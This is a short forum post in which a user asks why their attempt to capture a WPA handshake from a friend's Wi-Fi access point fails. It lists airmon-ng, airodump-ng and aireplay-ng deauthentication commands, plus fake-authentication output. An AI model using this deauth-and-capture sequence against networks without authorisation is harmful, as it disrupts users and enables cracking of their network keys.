Cant obtain a handshake

[Acidrain]

Ive managed to obtain a handshake from my own AP , but when trying it with my friends AP i get nothing.

These are the commands i type any ideas guys n girls?

airmon-ng
airmon-ng start wlan0
airodump-ng mon0

airodump-ng -c (channel) -w (file) --bssid (mac address) mon0

aireplay-ng --deauth 1 -a (bssid) -c (station mac) mon0 # this is unsuccesful no matter how many times i try

could it be that the paticular AP resisting my attempts?

[Acidrain]

I also get a message at the end:

Sending Authentication Request (Open System) [ACK]
Authentication succesful
Sending Authentication Request [ACK]
Association Succesful :-) (AID: 1)

Which i wouldve thought meant i got a handshake , but i havnt , or am i just doing something simply wrong?

Ive added this to help out any suggestions , thanks again